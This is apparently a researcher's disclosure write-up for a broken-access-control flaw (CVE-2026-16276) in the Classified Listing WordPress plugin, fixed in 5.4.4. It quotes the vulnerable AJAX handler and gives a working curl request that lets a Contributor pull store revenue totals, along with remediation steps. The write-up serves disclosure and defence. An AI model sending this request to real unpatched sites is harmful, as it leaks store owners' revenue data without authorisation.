Last login: on ttys001  |  uid=0(root)

Classified Listing before 5.4.4 - store revenue leak via rtcl_revenue_order_search (CVE-2026-16276)

CVE
CVE-2026-16276
Plugin
Classified Listing
Affected
versions before 5.4.4
Fixed
5.4.4
Type
Missing Authorization (CWE-862) / Broken Access Control
Required privilege
Contributor or higher (authenticated)
CVSS 3.1
2.7 Low - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Finder
Huseyin Mertoglu
WPScan
https://wpscan.com/vulnerability/64321af7-dadb-4bde-8c8f-ca520145d02c/

Summary

The Classified Listing plugin before 5.4.4 exposes aggregated store revenue totals through an AJAX action that never checks capabilities. WPScan/CVE wording: users with contributor-level access and above can read daily revenue figures that the plugin otherwise keeps for administrators and report managers.

I hit this while looking at the same nonce-without-cap pattern as CVE-2026-16274. Different handler, same mistake.

Where it breaks

Action name: rtcl_revenue_order_search
Function: revenue_order_search() in app/Controllers/Blocks/AdminAjaxController.php

public static function revenue_order_search() {
    if ( ! wp_verify_nonce( $_POST['rtcl_nonce'], 'rtcl-nonce' ) ) {
        wp_send_json_error( ... );
    }

    $start_date = isset( $_POST['start_date'] ) ? sanitize_text_field( $_POST['start_date'] ) : '';
    $end_date   = isset( $_POST['end_date'] )   ? sanitize_text_field( $_POST['end_date'] )   : '';

    $response = Functions::get_order_total_by_date_range( $start_date, $end_date );
    wp_send_json_success( $response );
}

That's it. Verify nonce, sanitize dates, return get_order_total_by_date_range(). The Reports UI expects something like manage_rtcl_reports. This AJAX path does not.

rtcl-nonce shows up in the block editor script data, so a Contributor who can open the editor already has what they need for the request. Other AJAX code in the plugin (e.g. FormBuilderAdminAjax) pairs the nonce with current_user_can( 'manage_rtcl_options' ). This one forgot.

Impact

Confidentiality. Daily aggregated revenue totals for a chosen date range. Not customer PII or full invoices, but still store performance data that Contributors have no business seeing on a paid classifieds/directory site.

Lab check (high level)

Own lab, one test payment recorded. Logged in as Contributor, pulled rtcl_nonce from the editor, then:

curl -X POST "https://target/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: wordpress_logged_in_<hash>=<contributor-session>" \
  --data "action=rtcl_revenue_order_search&rtcl_nonce=<nonce>&start_date=2026-06-15&end_date=2026-06-15"

Got back something like:

{"success":true,"data":{"15 Jun, 2026":149}}

That same account still cannot open the admin Reports screen. The AJAX call does not care.

Remediation

Update to 5.4.4 or newer. Interim: cut Contributor access, or block rtcl_revenue_order_search at the WAF/server. Proper fix on the handler side is a real capability check (manage_rtcl_reports / manage_options) before returning data.

Coordinated through WPScan; patched in 5.4.4. Update to the latest release.

References

// small pieces, big problems.  |  CVE-2026-16276